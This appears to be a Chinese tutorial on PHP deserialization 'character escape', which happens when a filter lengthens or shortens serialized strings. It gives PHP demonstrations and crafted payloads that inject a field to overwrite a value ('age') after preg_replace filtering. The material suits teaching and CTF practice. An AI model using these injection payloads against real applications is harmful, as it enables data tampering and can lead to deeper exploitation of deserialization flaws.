基础知识
反序列化时,序列化的值是以;作为字段的分隔,在结尾是以}结束,我们稍微了解一下:
<?php
class people{
public $name = 'tom';
public $sex = 'boy';
public $age= '12';
}
$a=new people();
print_r(serialize($a));
?>
//O:6:"people":3:{s:4:"name";s:3:"tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}
反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化。我们可以将上面的序列化的值稍作改变:
<?php
class people{
public $name = 'tom';
public $sex = 'boy';
public $age= '12';
}
$a=new people();
//print_r(serialize($a));
print_r(serialize('O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123'));
?>
//s:85:"O:6:"people":3:{s:4:"name";s:3:"Tom";s:3:"sex";s:3:"boy";s:3:"age";s:2:"12";}123123";
字符逃逸中分为两类:
字符变多
字符减少
关键字符增多
<?php
$user = array('username' => 'tom','age' => '13');
$b= serialize($user);
print_r($b);
echo "\n";
$c = preg_replace('/o/','oo',$b);
print_r(unserialize($c));
?>
//a:2:{s:8:"username";s:3:"tom";s:3:"age";s:2:"13";}
//PHP Notice: unserialize(): Error at offset 28 of 51 bytes in /code/main.php on line 7
对序列化后的字符串进行了替换,使得后来的反序列化报错,username之后只有一个age,所以在双引号里面可以构造我需要的username之后参数的值,这里修改age的值,我们这里将Tom替换为Tom";s:3:“age”;s:2:“35”;}然后进行反序列化:
<?php
$user = array('username' => 'Tom";s:3:"age";s:2:"35";}','age' => '13');
$b= serialize($user);
print_r($b);
//a:2:{s:8:"username";s:25:"Tom";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
?>
构造出来的序列化字符串长度为25,而在上面的反序列化过程中,他会将一个o变成两个,oo,那么得到的应该就是s:25:"Toom"我们要做的就是让这个双引号里面的字符串在过滤替换之后真的有描述的这么长,让他不要报错,再配合反序列化的特点,(反序列化的过程就是碰到;}与最前面的{配对后,便停止反序列化)闭合后忽略后面的age:13的字符串成功使得age被修改为35。
<?php
$user = array('username' => 'oooooooooooooooooooooo";s:3:"age";s:2:"35";}','age' => '13');
$b= serialize($user);
print_r($b);
//a:2:{s:8:"username";s:25:"Tom";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
//a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
?>
“将一大串o进行与前面的"闭合了,如果直接反序列化,在序列化出来的值中就包含了”;s:3:“age”;s:2:“35”;}。反序列的过程中,所描述的字符串长度(这里为44),而后面双引号包裹的字符串长度(这里为22)不够所描述的长度,那么他将会向后吞噬,他会将后双引号吞噬,直至足够所描述的长度,在一切吞噬结束之后,序列化出来的字符串如果不满足反序列化的字符串的格式,就会报错。我们这里是他吞噬结束后,还满足这个格式,所以不报错。
<?php
$user = array('username' => 'oooooooooooooooooooooo";s:3:"age";s:2:"35";}','age' => '13');
$b= serialize($user);
print_r($b);
echo "\n";
//a:2:{s:8:"username";s:25:"Tom";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
//a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
$c = 'a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}';
$d = preg_replace('/o/','oo', $c);
echo $d."\n";
print_r(unserialize($d));//将过滤后的序列反序列化
?>
s为25减去tom有22位,要刚刚读取22位构造22个o,s就为44,用preg_replace进行修改使之可以符合我们的要求。
a:2:{s:8:"username";s:44:"oooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
a:2:{s:8:"username";s:44:"oooooooooooooooooooooooooooooooooooooooooooo";s:3:"age";s:2:"35";}";s:3:"age";s:2:"13";}
Array
(
[username] => oooooooooooooooooooooooooooooooooooooooooooo
[age] => 35
)
在增加字符串的题目中,我们是利用题中的增加操作,阻止他进行向后吞噬我们构造的代码。
关键字符减少
<?php
$user = array('username' => 'endd','age' => '13');
$b= serialize($user);
print_r($b);
echo "\n";
$d = preg_replace('/dd/','d',$b);
echo $d."\n";
print_r(unserialize($d));
?>
因为end不等于4所以反序列化失败。
a:2:{s:8:"username";s:4:"endd";s:3:"age";s:2:"13";}
a:2:{s:8:"username";s:4:"end";s:3:"age";s:2:"13";}
PHP Notice: unserialize(): Error at offset 29 of 50 bytes in /code/main.php on line 8
因为s:4:"end"长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。
以修改年龄为例,利用关键字符减少。
<?php
$user = array ('username' => 'endd','age' => '13');
$b=serialize($user);
print_r($b);
?>
//a:2:{s:8:"username";s:4:"endd";s:3:"age";s:2:"13";}
如果年龄要从13修改为25序列化应该为:
a:2:{s:8:"username";s:4:"endd";s:3:"age";s:2:"20";}
我们需要构造的是";s:3:"age";s:2:"20";}
所以:
<?php
$user = array('username' => 'endd','age' =>'";s:3:"age";s:2:"20";}');
$b = serialize($user);
print_r($b);
?>//a:2:{s:8:"username";s:4:"endd";s:3:"age";s:22:"";s:3:"age";s:2:"20";}";}
我们需要";s:3:"age";s:22:"
被吞噬。一共18个字节。
<?php
$user = array('username' => 'dddddddddddddddddddddddddddddddddddd','age' => '";s:3:"age";s:2:"20";}');
$b= serialize($user);
print_r($b);
?>//a:2:{s:8:"username";s:36:"dddddddddddddddddddddddddddddddddddd";s:3:"age";s:22:"";s:3:"age";s:2:"20";}";}
将36个d用preg_replace替换成18个使之会往后面吞噬18个字符。
<?php
$user = array('username' => 'dddddddddddddddddddddddddddddddddddd','age' => '";s:3:"age";s:2:"20";}');
$b= serialize($user);
print_r($b);
echo "\n";
$c = 'a:2:{s:8:"username";s:36:"dddddddddddddddddddddddddddddddddddd";s:3:"age";s:22:"";s:3:"age";s:2:"20";}";}';
$s = preg_replace('/dd/','d',$c);
echo $s."\n";
print_r(unserialize($s));
?>
运行结果:
a:2:{s:8:"username";s:36:"dddddddddddddddddddddddddddddddddddd";s:3:"age";s:22:"";s:3:"age";s:2:"20";}";}
a:2:{s:8:"username";s:36:"dddddddddddddddddd";s:3:"age";s:22:"";s:3:"age";s:2:"20";}";}
Array
(
[username] => dddddddddddddddddd";s:3:"age";s:22:"
[age] => 20
)